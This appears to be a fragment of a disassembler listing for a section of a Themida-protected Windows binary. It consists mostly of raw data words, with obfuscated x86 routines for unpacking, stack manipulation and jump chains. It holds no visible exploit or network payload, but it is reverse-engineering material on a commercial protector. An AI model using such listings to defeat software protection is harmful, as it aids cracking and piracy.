		dd 85C679DAh, 5E42A49h,	12E845h, 77780000h, 0C96C8C5Ch
		dd 7B04CE23h, 0F98E4699h, 445E838h, 2B5B589h, 685A05E4h
		dd 0FC1AB8CDh, 34815B51h, 68D1A424h, 3BF38172h,	0FF246182h
		dd 0E428E5B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 5127DC4Eh, 94858D76h
		dd 8905E439h, 0E41CE185h, 31D0FF05h, 0E40741BDh, 41858905h
		dd 0BB05E402h, 72AAE585h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DE9D32Eh
		dd 79FE43D6h, 9B77DB81h, 0BD833E39h, 5E44C21h, 4C840F00h
		dd 81000000h, 6ADD5CEBh, 25B5FF00h, 6A05E416h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0DB62C357h, 31727DE0h, 8A452EC7h, 0FF49D380h, 0E4024195h
		dd 0B4CA8105h, 0F4691FFh, 68Bh,	0D950900h, 8305E408h, 850F00F8h
		dd 0CEh, 0AC4125BBh, 31BD830Dh,	5E42Ch,	43840Fh, 0B5890000h
		dd 5E41431h, 2C31B5FFh,	6A05E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8B53E8C3h, 0E42D3995h
		dd 1B85B05h, 66000000h,	0E93969BBh, 255h, 4F5E76BBh, 25B5FF25h
		dd 6A05E416h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0CA17C351h, 5FD0C351h,	1101BD09h
		dd 0B5FF05E4h, 5E41625h, 1DC9B589h, 0B5FF05E4h,	5E40241h
		dd 0CE9h, 0DD265B00h, 0FFAD020Dh, 0D81B6857h, 1FBE9A8h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0B9D2D8C3h, 4E6AD53h, 6A5FF553h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 53CAC353h, 0AEA27274h, 75F8B9A9h, 831FF280h,	0E40CC9BDh
		dd 850F0005h, 0A4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 88C35646h, 33B68142h,	95314837h, 5E42C99h
		dd 2A4985C6h, 8B4D05E4h, 0E409019Dh, 0DF376805h, 0E96083CDh
		dd 12h,	7BAEE44Ch, 93204B0Bh, 0DBECCC03h, 1673609Ah, 0BB66B8E3h
		dd 8161757Fh, 0A99F2434h, 0DF8027F8h, 2D958B4Eh, 0FF05E41Ah
		dd 0E42379B5h, 16BA6605h, 94858D00h, 6005E439h,	58D681h
		dd 95292A86h, 5E41D41h,	8BD0FF61h, 0E423719Dh, 0DEB70F05h
		dd 0CC98589h, 0F5305E4h, 38Dh, 0D38B6600h, 0D9BF0F5Bh
		dd 0B8h, 0B1950100h, 8905E40Ch,	0E44BCABDh, 9E86005h, 81000000h
		dd 9EC3A50h, 74D48079h,	3129958Bh, 95805E4h, 0E40CB595h
		dd 0C00B6105h, 32840Fh,	9D890000h, 5E4153Dh, 0BCE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 88E1491Dh, 66B1B0A1h, 0BEB4C381h, 241B5FFh, 665205E4h
		dd 5AFB63BBh, 17D1958Bh, 858D05E4h, 5E69C41h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h, 0E6C418D1h
		dd 0EB80364Dh, 0B99D89C1h, 9005E41Ah, 0CE9h, 0EC9A8F00h
		dd 0FD0DC669h, 4F2D44AFh, 11E9500Bh, 45000000h,	0A2361FA0h
		dd 0EB21C78Ah, 3B6E9D10h, 0AC0F0023h, 55006A90h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 7EFA84A5h, 66BD3D1Ch, 8EBB66E6h, 8D5650E8h, 0E4525EBDh
		dd 8D8D8D05h, 0B805E477h, 748323BCh, 730CF2Bh, 4947C8D0h
		dd 585EF875h, 2C31BD83h, 740005E4h, 0AD8D8B06h,	3305E417h
		dd 0B8C9h, 0C00B0000h, 99840Fh,	0BD830000h, 5E421A1h, 0FF067400h
		dd 0E4258595h, 0B805h, 0C00B0000h, 0BD830975h, 5E44BD2h
		dd 83097401h, 0E44BD2BDh, 0E750205h, 4BCAB58Bh,	858D05E4h
		dd 5E69C41h, 858DD0FFh,	5E441E7h, 0BD83D0FFh, 5E42D11h
		dd 8B2F7502h, 0E40F79A5h, 31858B05h, 8905E42Ch,	85C72404h
		dd 5E40FA1h, 1,	4BCEB58Bh, 0AD8B05E4h, 5E41F85h, 1B8h
		dd 0CC200h, 85C700EBh, 5E40FA1h, 1, 0F79A58Bh, 0B58B05E4h
		dd 5E41C65h, 1F85AD8Bh,	0C03305E4h, 83000CC2h, 0E424C9BDh
		dd 0F740005h, 1119BD83h, 740005E4h, 1995FF06h, 8B05E411h
		dd 0E44BCAB5h, 8E9C305h, 74000000h, 0A2B22F52h,	8B98926Eh
		dd 0E404719Dh, 0BA05h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4529B5C3h, 0A1C70A4Bh
		dd 0FF46FB5h, 382h, 0F3D78000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54608C
; ---------------------------------------------------------------------------


loc_54608A:				; CODE XREF: Themida_:0054608Fj
		inc	eax
		inc	edi


loc_54608C:				; CODE XREF: Themida_:00546088j
		cmp	byte ptr [edi],	0
		jnz	short loc_54608A
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5460BB
; ---------------------------------------------------------------------------


loc_546098:				; CODE XREF: Themida_:005460BDj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5460B0
; ---------------------------------------------------------------------------


loc_5460AD:				; CODE XREF: Themida_:005460B3j
		mul	ebx
		dec	esi


loc_5460B0:				; CODE XREF: Themida_:005460ABj
		cmp	esi, 0
		ja	short loc_5460AD
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5460BB:				; CODE XREF: Themida_:00546096j
		or	eax, eax
		jnz	short loc_546098
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah,	0, 53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 8205CEB2h, 8B0F53h, 5B000000h, 0ADE9C18Bh, 60000001h
		dd 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h, 2BB47h, 0D2020000h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h, 0FD202FFh
		dd 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h,	5850Fh
		dd 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h, 46168A00h
		dd 0C013D212h, 850FD202h, 5, 1246168Ah,	2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 13D21246h, 6840FC0h,	57000000h, 78AF82Bh, 4707885Fh
		dd 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h, 2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh, 0A4F3F52Bh
		dd 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h, 1, 850FD202h
		dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 0FFDE820Fh, 3DFFFFh,	0F00007Dh, 2283h, 5003D00h, 820F0000h
		dd 0Eh,	0F78B5641h, 0A4F3F02Bh,	0FEB4E95Eh, 0F883FFFFh
		dd 3870F7Fh, 83000000h,	8B5602C1h, 0F3F02BF7h, 9BE95EA4h
		dd 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h, 2D18300h, 8B56E88Bh
		dd 0F3F02BF7h, 1BB5EA4h, 0E9000000h, 0FFFFFE76h, 28247C2Bh
		dd 1C247C89h, 8C261h, 929BAh, 1705E900h, 3F0002h, 0FE0F025Ah
		dd 0FE0F005Ah, 5Ah, 280000h, 0F91D025Ah, 0FF68005Ah, 2820012h
		dd 20000h, 10000h, 20000h, 0E7C90000h, 0FA6Fh, 4 dup(0)
		dd 0E8210000h, 0B3DF0054h, 0FC390054h, 59A0054h, 0E40D0055h
		dd 27AC0054h, 85ED0055h, 14970054h, 12D00055h, 0F44C0055h
		dd 4430054h, 0E2760055h, 0C8800054h, 0AA910054h, 0A8D80054h
		dd 9B710054h, 0A6200054h, 8B310054h, 0C4150054h, 972E0054h
		dd 0AA400054h, 9F910054h, 904E0054h, 76030054h,	951A0054h
		dd 17670054h, 0F54C0055h, 6E8F0054h, 98480054h,	868C0054h
		dd 0D52B0054h, 85120054h, 0A9050054h, 7E660054h, 93330054h
		dd 0D1200054h, 0AE80054h, 123D0055h, 0DBB50055h, 6E270054h
		dd 0D0960054h, 0D0670054h, 0F7E00054h, 24180054h, 72510055h
		dd 9F270054h, 0F3390054h, 0F6C20054h, 98B70054h, 0D1930054h
		dd 1BA60054h, 0DED80055h, 0F49E0054h, 17D80054h, 99370055h
		dd 6D330054h, 0D1CE0054h, 10CD0054h, 19800055h,	0A16A0055h
		dd 78110054h, 0D00E0054h, 7B070054h, 8A450054h,	983C0054h
		dd 8A660054h, 0B5A50054h, 71290054h, 7FC80054h,	0FB910054h
		dd 71650054h, 0DCE50054h, 79280054h, 3820054h, 0AF90055h
		dd 0CC0E0055h, 0F5130054h, 0EB710054h, 95740054h, 79FF0054h
		dd 68A30054h, 68D00054h, 24D10054h, 84320055h, 0F7D70054h
		dd 27390054h, 0A2DF0055h, 0CF990054h, 22190054h, 81D50055h
		dd 0C0F0054h, 1110055h,	4DD0055h, 0B2D50055h, 0E3500054h
		dd 0EDA10054h, 683E0054h, 8520054h, 8EA50055h, 0B31C0054h
		dd 7A890054h, 0F5BE0054h, 6FB20054h, 7A100054h,	0FB1F0054h
		dd 0A8060054h, 0AFAA0054h, 9FCD0054h, 9B030054h, 69D10054h
		dd 6A850054h, 6D630054h, 99130054h, 294F0054h, 0B2BC0055h
		dd 0F1D80054h, 0D7EB0054h, 0DA270054h, 82450054h, 0A8E60054h
		dd 0F2900054h, 69630054h, 13760054h, 6C330055h,	78360054h
		dd 0EFD20054h, 0D54E0054h, 0D9940054h, 9C5D0054h, 0AA0F0054h
		dd 370054h, 0D8FB0055h,	929C0054h, 27C60054h, 0DE310055h
		dd 201C0054h, 0C1D90055h, 0BEC70054h, 99550054h, 0B74F0054h
		dd 0D6D60054h, 0A26D0054h, 1E790054h, 94300055h, 126E0054h
		dd 0F8620055h, 0E04F0054h, 99EB0054h, 86260054h, 666F0054h
		dd 0BAA00054h, 0C9550054h, 81350054h, 7A00054h,	0CB7B0055h
		dd 0C4960054h, 0BBB0054h, 715C0055h, 1F700054h,	0E5290055h
		dd 0DCB50054h, 0E8E80054h, 77330054h, 0D3830054h, 7CBE0054h
		dd 192E0054h, 0EDB40055h
		db 54h,	0
; ---------------------------------------------------------------------------


loc_54658E:				; CODE XREF: Themida_:005683A0j
					; Themida_:00572845j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E47DCDh
		mov	eax, edi
		add	edi, 5E47AE5h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5465AC
		jmp	short loc_5465BF
; ---------------------------------------------------------------------------


loc_5465AC:				; CODE XREF: Themida_:005465A8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5465BB
; ---------------------------------------------------------------------------


loc_5465B6:				; CODE XREF: Themida_:005465BDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5465BB:				; CODE XREF: Themida_:005465B4j
		or	ecx, ecx
		jnz	short loc_5465B6


loc_5465BF:				; CODE XREF: Themida_:005465AAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5465CC:				; CODE XREF: Themida_:005465D3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5465CC


loc_5465D5:				; CODE XREF: Themida_:00546821j
					; Themida_:00546DEEj ...
		lodsb
		xor	al, bl
		push	edx
		mov	dh, 8Ch
		push	small 303Eh
		jmp	loc_548981
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0FF5704C4h, 5F042474h, 5C24048Fh,	4B30F66h
		dd 0D6E99C24h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5465FF:				; CODE XREF: Themida_:0054B703j
		mov	ebp, 0FCC6DDFh
		jmp	loc_548FED
; ---------------------------------------------------------------------------


loc_546609:				; CODE XREF: Themida_:0054F88Cj
		sub	edi, 310674Dh
		add	edi, esi
		add	edi, 310674Dh
		pop	esi
		jmp	loc_54D691
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 74DBC281h, 0C20171CCh, 64C68h, 24048900h, 47D5DB8h
		dd 2AF22565h, 0D0F7080Eh, 0E907E0C1h, 6642h
; ---------------------------------------------------------------------------


loc_546644:				; CODE XREF: Themida_:0054A74Cj
		push	eax
		push	edx
		mov	edx, 500477B1h
		mov	eax, 9954BF4Ah
		jmp	loc_54B5D9
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 4EC815Ch, 89000000h,	8B5240Ch, 807EC580h, 0BFE9FFC5h
		dd 6400006Bh, 5EE932FFh, 5DFFFFFFh, 875BD801h, 305C2404h
		dd 0C0B60FC3h, 8FF1E9h,	68C22900h, 1C02h, 0B9240C89h, 5A4D4FC2h
		dd 86E9CA01h, 5000092h,	1C241882h, 7A1FBB53h, 19E95758h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5466AF:				; CODE XREF: Themida_:0054A32Ej
		mov	cl, 11h
		sub	cl, 6Ch
		push	109Fh
		mov	[esp], edx
		mov	dl, 6
		or	dl, 44h
		shr	dl, 7
		xor	dl, 3Ch
		and	dl, 8Eh
		xchg	ah, dl
		not	ah
		xchg	ah, dl
		add	dl, 8Fh
		add	cl, dl
		pop	edx
		add	cl, dl
		sub	cl, 82h
		push	edx
		mov	dh, 0F7h
		and	dh, 0F8h
		and	dh, 0Ah
		xor	dh, 6Ch
		add	cl, dh
		pop	edx
		pop	edx
		xor	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	ecx
		jmp	loc_54A7C7
; ---------------------------------------------------------------------------


loc_5466FA:				; CODE XREF: Themida_:00547755j
		pop	eax
		xchg	edi, [esp]
		jmp	loc_54EA6F
; ---------------------------------------------------------------------------
		db 81h
		dd 430D33EAh, 0FEC7E93Bh, 34FFFFFFh, 24048B24h,	4C481h
		dd 0C4830000h, 5A545204h, 4C281h, 0C2810000h, 4, 2474FF52h
		dd 48F5A04h, 37E95C24h,	81000040h, 962617EEh, 4FE95747h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546747:				; CODE XREF: Themida_:0055051Aj
		add	esp, 4
		push	1ABh
		jmp	loc_54C488
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 0FC90924h, 9B3B84h, 6F126800h, 51E90000h
		dd 0B80000A4h, 4, 47E9C101h, 680000BBh,	4399h, 0E9242489h
		dd 0B6Fh, 50241C8Bh, 405E089h, 0E9000000h, 59A7h
; ---------------------------------------------------------------------------


loc_546798:				; CODE XREF: Themida_:005526F0j
		mov	eax, esp
		add	eax, 4
		jmp	loc_54C41E
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 2434FF00h, 4C48358h, 8B240C87h, 4FE2424h
		dd 12E99C24h, 0BBFFFFFEh, 66D6435Fh, 17A4E9h, 4BB00h, 0DA010000h
		dd 4EA815Bh, 0E9000000h, 4808h,	4C181h,	0E4E90000h, 0E9000079h
		dd 0FFFFFDE5h, 81241489h, 4ECh,	24248900h, 4240481h, 5A000000h
		dd 4BDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_546809:				; CODE XREF: Themida_:0054CB93j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_546826:				; CODE XREF: Themida_:0054EE92j
		mov	edx, 43092202h
		mov	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 6C344C82h
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_548CEB
; ---------------------------------------------------------------------------
		dw 34FFh
aS_5		db '$И}-',0
		align 2


loc_546846:				; CODE XREF: Themida_:0054C4EDj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54A62E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8904EC83h, 0CB7241Ch, 0C001C780h, 0D7F603E7h, 0A068C7FEh
		dd 89000015h, 26E92414h, 5E000006h, 8B240C87h, 4002424h
		dd 32E99C24h, 8FFFFFFDh, 0FD2BE902h, 97BFFFFFh,	0F70C3730h
		dd 34C781D7h, 0C1152044h, 0EF8107EFh, 8D9DCC34h, 0B4F8E9h
		dd 80E10000h, 0E95382C1h, 0E8h,	240C8B66h, 6DC768h, 242C8900h
		dd 0A64AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5468E1:				; CODE XREF: Themida_:00547CB9j
		pop	edi
		add	esi, ecx
		jmp	loc_54768E
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 0DAh
		dd 0F0281B2Ch, 7F99E953h, 0C3810000h, 4, 914DE9h, 0E2895200h
		dd 759DE9h, 1C8B6600h, 2C48124h, 0
		dd 240C8BCBh, 0E904C483h, 9B1Bh, 2D2049BDh, 0EDD14500h
		dd 0BEEDE9h, 0C1814900h, 0CA99C6FCh, 24348151h,	6FF5436Bh
		dd 6BF7815Fh, 8B6FF543h, 8956240Ch, 4576E9E6h, 0FF500000h
		dd 58042474h, 8B24048Fh, 0CFF2424h, 72E99C24h, 66FFFFFCh
		dd 8324048Bh, 0C8904ECh, 56E18924h, 0D85053BEh,	10B8E925h
		dd 348B0000h, 4C48124h,	81000000h, 0AD2404h, 4811222h
		dd 93594224h, 0BB8686Bh, 2C890000h, 592CBD24h, 6C292D31h
		dd 0E95D0424h, 0B668h, 8C5CBD55h, 0E929D678h, 0E9C8015Dh
		dd 5D33h, 0C380DFB3h, 5BD9289Ch, 0C8285866h, 0B937E9h
		dd 5A3A0100h, 1291E9h, 0C8B6600h, 9CE95524h, 81000008h
		dd 4ECh, 8CC6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5469E6:				; CODE XREF: Themida_:0054F3E6j
		mov	[esp], edi
		push	esi
		mov	esi, 400h
		push	esi
		push	esi
		mov	esi, 3AFE76EDh
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_552473
; ---------------------------------------------------------------------------
		db 68h
		dd 6272h, 0E9240C89h, 3630h, 5124248Bh,	884FCA68h, 3D66E937h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546A1E:				; CODE XREF: Themida_:0054AFA5j
		mov	ebp, [esp]
		jmp	loc_54CF62
; ---------------------------------------------------------------------------
aTHsp		db 'T]h▒P',0
		dd 24048900h, 4B8h, 63ED8100h, 144464Bh, 6F5E9C5h, 48B0000h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 4EC835Ch
		dd 89242C89h, 4BE56E5h,	0E9000000h, 5C20h, 0FFFB68E9h
		dd 0E18951FFh, 4C181h, 0C1830000h, 240C8704h, 2404875Ch
		dd 825EE9h, 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F86B
; ---------------------------------------------------------------------------
		db 5Eh,	58h, 8Bh
		dd 7AE9241Ch, 0FE00000Bh, 0FED2F6C2h, 65CA80C2h, 0CAFECAFEh
		dd 0D5885166h, 6E83E9h,	24048F00h, 8924248Bh, 4BA2414h
		dd 1377946h, 0EE95AD3h,	0BF000018h, 3BAE0E55h, 7314EDBDh
		dd 5FFD2992h, 5A8CC581h, 0CD817D88h, 14C3D09h, 0A8BE581h
		dd 0E9505DA6h, 40D0h, 3025E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546AF2:				; CODE XREF: Themida_:005505D2j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	64DEh
		mov	[esp], edx
		jmp	loc_54F4B7
; ---------------------------------------------------------------------------
aQsib		db 'QИI│',0
		align 2
		dw 0C681h
		dd 4, 300C68h, 24048900h, 2BD55h, 0E9550000h, 1899h, 2568BA52h
		dd 0F2816CE2h, 7E276D52h, 815AD601h, 0E4B63EF6h, 22C38104h
		dd 108245Ch, 22EB81F3h,	0FF08245Ch, 525E2434h, 43E9E289h
		dd 8B0000B7h, 8952242Ch, 4C281E2h, 0E9000000h, 3858h
; ---------------------------------------------------------------------------


loc_546B6C:				; CODE XREF: Themida_:0054D1C9j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 58F16AC7h
		not	edx
		shr	edx, 7
		shr	edx, 6
		shl	edx, 8
		xor	edx, 5F5B58FDh
		jmp	loc_55000A
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 5CDE7027h, 31DEBB53h, 0D3F76DD2h, 4306EBC1h,	1D4CF381h
		dd 0F3813199h, 597E9EB1h, 0E95BDA31h, 2016h, 33243C31h
		dd 99E9243Ch
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BBF:				; CODE XREF: Themida_:0054A224j
		pop	ebp
		push	edx
		mov	edx, 55FE0AE6h
		jmp	loc_54D9C2
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2EA26BE0h, 348BF331h, 6630E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546BDA:				; CODE XREF: Themida_:0055260Bj
		not	ecx
		jmp	loc_547114
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 7EE92414h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BEF:				; CODE XREF: Themida_:0054A23Dj
		mov	ecx, 0D52DAE88h
		sub	[edi+20h], ecx
		pop	ecx
		sub	[edi+20h], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4


loc_546C19:				; CODE XREF: Themida_:00549C1Cj
					; Themida_:0054EBB3j
		mov	ebx, [esp]
		jmp	loc_54BB1E
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D0010000h, 5624148Bh, 14E9E689h, 66000021h,	6824048Bh
		dd 7D2h, 0E9243489h, 0B57Eh, 875FFE01h,	645C2434h, 0E9028966h
		dd 0FFFFF981h, 0E1C1D9F7h, 8DE98102h, 0C15DFC1Ah, 895304E9h
		dd 4C381E3h, 81000000h,	4EBh, 47CFE900h, 89570000h, 4C781E7h
		dd 53000000h, 4BBh, 0FFDF2900h,	815B2434h, 4C4h, 243C8700h
		dd 242C895Ch, 493E9h, 24E94800h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546CA3:				; CODE XREF: Themida_:0054CF40j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_54BB02
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 81240C8Bh, 4C4h, 0D8285A00h, 770EE9h, 78DABE00h
		dd 0E6816BDDh, 47616634h, 0E0E9D6F7h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546CD7:				; CODE XREF: Themida_:00547702j
		xor	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	esi
		mov	esi, 2C31194Ah
		push	ecx
		push	65136FDh
		pop	ecx
		jmp	loc_54CE13
; ---------------------------------------------------------------------------
		dd 23FFBA52h, 0D0012072h, 0BD68565Ah, 5E59B10Fh, 44460C05h
		dd 2DF02915h, 1544460Ch, 5724348Bh, 0C781E789h,	4, 4C781h
		dd 3C870000h, 6BFAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546D26:				; CODE XREF: Themida_:0054EFE9j
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_54923B
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 2C8904ECh, 53E58924h, 98E9E389h, 810000AEh
		dd 0A67001F5h, 4F29E912h, 0C2810000h, 4, 3304C283h, 60E92414h
		dd 68000007h, 2BC4h, 9F47E9h, 4C48300h,	0B6BA5250h, 5668B975h
		dd 0B45DE9h, 66A0BB00h,	13E91685h, 0C0000008h, 0E4C002ECh
		dd 449E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546D92:				; CODE XREF: Themida_:0054C0FCj
		xor	ecx, edx
		jmp	loc_54C715
; ---------------------------------------------------------------------------


loc_546D99:				; CODE XREF: Themida_:0054ED2Dj
		pop	ebp
		xor	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54930E
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 712A2A19h, 2C8BE901h, 4C48324h, 89CA8952h
		dd 0E9595AD3h, 2EB2h
; ---------------------------------------------------------------------------


loc_546DCC:				; CODE XREF: Themida_:00552842j
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_5514AC
; ---------------------------------------------------------------------------
aTsY		db 'TИшY',0
		db 0
; ---------------------------------------------------------------------------


loc_546DDD:				; CODE XREF: Themida_:0054B7D1j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54F3AA
; ---------------------------------------------------------------------------


loc_546DE7:				; CODE XREF: Themida_:0054F899j
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		db 68h
		dd 5290165Bh, 21E98159h, 8936CEE8h, 0DEF759CEh,	38D4E9h
		dd 24048700h, 24048F5Ch, 0F624248Bh, 6B36E9E1h,	0BB530000h
		dd 2F6F3620h, 4DE9DD89h, 6600009Bh, 6824048Bh, 6387h, 54243C89h
		dd 0A653E9h, 25BF2500h,	0DC2D49BEh, 9BD94D4h, 0C18158C1h
		dd 0C6DFEE21h, 159C801h, 2C8758C5h, 24248B24h, 1402E9h
		db 0
; ---------------------------------------------------------------------------


loc_546E5D:				; CODE XREF: Themida_:0055189Dj
		pop	ecx
		sub	esi, edi
		pop	edi
		push	edx
		mov	edx, 0F7B2AE5h
		sub	edx, 59E54A24h
		jmp	loc_54FA98
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd offset dword_4B5248+0C0A1h
		db 0
; ---------------------------------------------------------------------------


loc_546E79:				; CODE XREF: Themida_:00550242j
		sub	ebx, 0D57128EDh
		sub	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_54A287
; ---------------------------------------------------------------------------
		db 8Fh
		dd 3EE94047h, 5FFFFFF7h, 31242C33h, 2C33242Ch, 0FBE95C24h
		dd 8B000019h, 0BBE92434h, 50000B6h, 2714409Dh, 81AFE9h
		dd 0E9EBB200h, 7CBAh, 0E581DDF7h, 2CE33D82h, 3339CD81h
		dd 0EDC17CE3h, 43ED8102h, 89FE5278h, 0F7815DEFh, 7B29774Dh
		dd 4703EFC1h, 8108EFC1h, 0F48620C7h, 0FAEA81FFh, 0E95C0D26h
		dd 9A32h, 5C240487h, 2BE56h, 0F3010000h, 241C335Eh, 1DBBE9h
		dd 24440100h, 4EC8104h,	0E9000000h, 0BF8h, 37DC6853h, 47E90000h
		dd 5000008h, 0F3E0882Dh, 0C2AC181h, 0C1014EA8h,	8ED8E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546F3A:				; CODE XREF: Themida_:005507BBj
		xor	esi, [esp]
		xor	[esp], esi
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4EFC2176h
		shl	ecx, 2
		push	edi
		mov	edi, 5507894h
		push	ebp
		mov	ebp, 67442A8h
		dec	ebp
		shr	ebp, 3
		add	ebp, 2DCE3101h
		jmp	loc_54C80F
; ---------------------------------------------------------------------------
		dw 5659h
		dd 67E95E54h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546F73:				; CODE XREF: Themida_:0054BD01j
		push	ecx
		mov	ecx, 7B6F3826h
		jmp	loc_54B1A5
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 1C335C24h, 241C3124h, 5C241C33h
		dd 240CD366h, 0F633E99Ch, 0C483FFFFh, 4C48304h,	742068h
